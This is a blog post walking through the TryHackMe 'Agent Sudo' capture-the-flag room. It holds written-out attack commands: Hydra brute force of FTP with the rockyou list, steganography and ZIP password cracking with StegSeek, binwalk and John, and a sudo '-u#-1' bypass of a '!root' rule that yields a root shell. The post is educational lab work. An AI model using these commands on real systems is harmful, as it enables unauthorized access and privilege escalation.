DEV Community

Cover image for TryHackMe Writeup: Agent Sudo
Rupam Ghosh
Rupam Ghosh

Posted on

TryHackMe Writeup: Agent Sudo

#cybersecurity #ctf #writeup #tryhackme

Today we're doing Agent Sudo room (Sorry for the creepy image)

Let's start the machine and get the IP. (For some reason, it took 5 minutes for THM to reveal the IP.)

It has plenty of small questions instead of just asking for flags.

So, as always, the first thing we'll do is export the IP so that we won't have to type it again and again.

export IP=10.49.170.143
Enter fullscreen mode Exit fullscreen mode

Port Scanning

The first question is very basic. It just wants us to run an NMAP scan to check for the total number of open ports. Since it's a 1-digit answer, it must be between 0-9 (obviously not zero).

I'll use RustScan to check for open ports faster.

snap run rustscan -a $IP
Enter fullscreen mode Exit fullscreen mode

Till now, I've found only X number of ports (can't reveal).

Finding the Secret Page

The next question asks about how to redirect to a secret page, so let's visit port 80.

<!DocType html>
<html>
<head>
    <title>Annoucement</title>
</head>
<body>
    <p>
        Dear agents, <br><br>
        Use your own <b>codename</b> as user-agent to access the site.
        <br><br>
        From,<br>
        Agent R
    </p>
</body>
</html>
Enter fullscreen mode Exit fullscreen mode

Alright, we need to manipulate our User-Agent.

For this, we need to install an extension called "User Agent Switcher". It could be any for you, just make sure you can put custom User-Agents.

The hint says to put C as the agent.

Attention XXXXX [redacted],

Do you still remember our deal? Please tell agent J about the stuff ASAP. Also, change your god damn password, is weak!

From,
Agent R
Enter fullscreen mode Exit fullscreen mode

There we go.

It says his password is very weak. Let's try SSH into it using Hydra and RockYou.

But it has already tried 350+ passwords and none met yet.

Let's try the FTP bruteforce using Hydra.

FTP Brute Force

FOUND IT!

hydra -l chris -P /usr/share/wordlists/rockyou.txt ftp://$IP
Enter fullscreen mode Exit fullscreen mode 
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ftp://10.49.170.143:21/
[21][ftp] host: 10.49.170.143   login: chris   password: [XXXXXX]
1 of 1 target successfully completed, 1 valid password found
Enter fullscreen mode Exit fullscreen mode

After logging in, we found 3 files.

ftp> ls
229 Entering Extended Passive Mode (|||54309|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0             217 Oct 29  2019 To_agentJ.txt
-rw-r--r--    1 0        0           33143 Oct 29  2019 cute-alien.jpg
-rw-r--r--    1 0        0           34842 Oct 29  2019 cutie.png
226 Directory send OK.
Enter fullscreen mode Exit fullscreen mode

Use get filename to copy the files to your local machine.

cat To_agentJ.txt
Enter fullscreen mode Exit fullscreen mode 
Dear agent J,

All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn't be a problem for you.

From,
Agent C
Enter fullscreen mode Exit fullscreen mode

So we need to use StegSeek.

stegseek cute-alien.jpg /usr/share/wordlists/rockyou.txt
Enter fullscreen mode Exit fullscreen mode 
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: XXXXXX
[i] Original filename: "message.txt".
[i] Extracting to "cute-alien.jpg.out".
Enter fullscreen mode Exit fullscreen mode

Now:

cat cute-alien.jpg.out
Enter fullscreen mode Exit fullscreen mode 
Hi james,

Glad you find this message. Your login password is [XXXXXXXXXXXX]

Don't ask me why the password look cheesy, ask agent R who set this password for you.

Your buddy,
chris
Enter fullscreen mode Exit fullscreen mode

The PNG

The PNG one is tricky.

binwalk cutie.png
Enter fullscreen mode Exit fullscreen mode 
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 528 x 528, 8-bit colormap, non-interlaced
869           0x365           Zlib compressed data, best compression
34562         0x8702          Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt
34820         0x8804          End of Zip archive, footer length: 22
Enter fullscreen mode Exit fullscreen mode

So it's a ZIP file.

binwalk -e cutie.png
Enter fullscreen mode Exit fullscreen mode 
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
869           0x365           Zlib compressed data, best compression
34562         0x8702          Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt
Enter fullscreen mode Exit fullscreen mode

It's a password-protected ZIP, so let's use John the Ripper to crack it.

zip2john 8702.zip > zip.hash
Enter fullscreen mode Exit fullscreen mode 
john --wordlist=/usr/share/wordlists/rockyou.txt zip.hash
Enter fullscreen mode Exit fullscreen mode 
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
Cost 1 (HMAC size) is 78 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
[XXXXX]            (8702.zip/To_agentR.txt)
1g 0:00:00:00 DONE (2026-09-01 00:31) 5.555g/s 136533p/s 136533c/s 136533C/s 123456..280789
Enter fullscreen mode Exit fullscreen mode

Use 7z x 8702.zip to extract the ZIP using the password.

7z x 8702.zip
Enter fullscreen mode Exit fullscreen mode

Then:

cat To_agentR.txt
Enter fullscreen mode Exit fullscreen mode 
Agent C,

We need to send the picture to 'QXJlYTUx' as soon as possible!

By,
Agent R
Enter fullscreen mode Exit fullscreen mode

Now, QXJlYTUx is some encoded string. Let's try base64 first

echo "QXJlYTUx" | base64 --decode
Enter fullscreen mode Exit fullscreen mode 
Area51
Enter fullscreen mode Exit fullscreen mode

We need to send the picture to Area51?? I Wonder what that means

I completely forgot that we have the password for James.

Pro Tip - While SSHing, do not forget ! at the end of his password xD

Getting the User Flag

Now we can SSH into James' account.

We got our first user flag. use cat filename

Let's get the image now:

scp james@$IP:/home/james/Alien_autospy.jpg .
Enter fullscreen mode Exit fullscreen mode 
james@10.49.170.143's password:
Alien_autospy.jpg                                     100%   41KB  27.5KB/s   00:01
Enter fullscreen mode Exit fullscreen mode

It's spelled "autospy", not "autopsy" bytheway.

Jumpscare warning - It's a creepy image.

Use Google Lens reverse image search to get the incident name.

Privilege Escalation

Now comes the main part, PrivEsc.

We need to find the CVE first.

Use uname -r to get the kernel details.

The kernel or Ubuntu doesn't seem to have a proper CVE.

The CVE lies in sudo permissions.

sudo -l
Enter fullscreen mode Exit fullscreen mode 
Matching Defaults entries for james on agent-sudo:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on agent-sudo:
    (ALL, !root) /bin/bash
Enter fullscreen mode Exit fullscreen mode

The user can run /bin/bash as any user but sudo explicitly excludes root.

But the sudo vulnerability allows the special numeric UID -1 to bypass the !root restriction.

sudo -u#-1 /bin/bash
Enter fullscreen mode Exit fullscreen mode

This gives us the root shell.

Now check:

root@agent-sudo:~# whoami
root
Enter fullscreen mode Exit fullscreen mode

Now cd /root and get the flag!

Thank You.

Links

TryHackMe Room:
https://tryhackme.com/room/agentsudoctf

Follow Me for more CTF Walkthroughs:
https://dev.to/hul0

Top comments (0)